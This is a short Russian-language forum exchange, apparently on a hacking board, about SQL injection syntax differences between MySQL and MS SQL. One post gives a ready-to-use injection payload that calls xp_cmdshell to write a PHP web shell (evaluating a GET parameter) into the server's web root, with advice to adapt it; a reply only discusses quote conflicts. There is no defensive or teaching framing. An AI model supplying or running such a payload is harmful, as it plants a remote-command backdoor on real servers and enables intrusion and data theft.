Zitt Читай внимательней у my и ms sql совсем разный синтаксис. Sharky Исполнение команд будет работать зальешь, не будет работать... ну разве только через админку, в остальных случаях...
'; use master exec xp_cmdshell 'echo "<? eval(stripslashes($_GET[c])); > C:/webserver/www/shell.php ?>"';-- Подкорректировать под себя
вовсе не обязательно, притом что в запросе одинарные кавычки уже используются, тока конфликт возникнет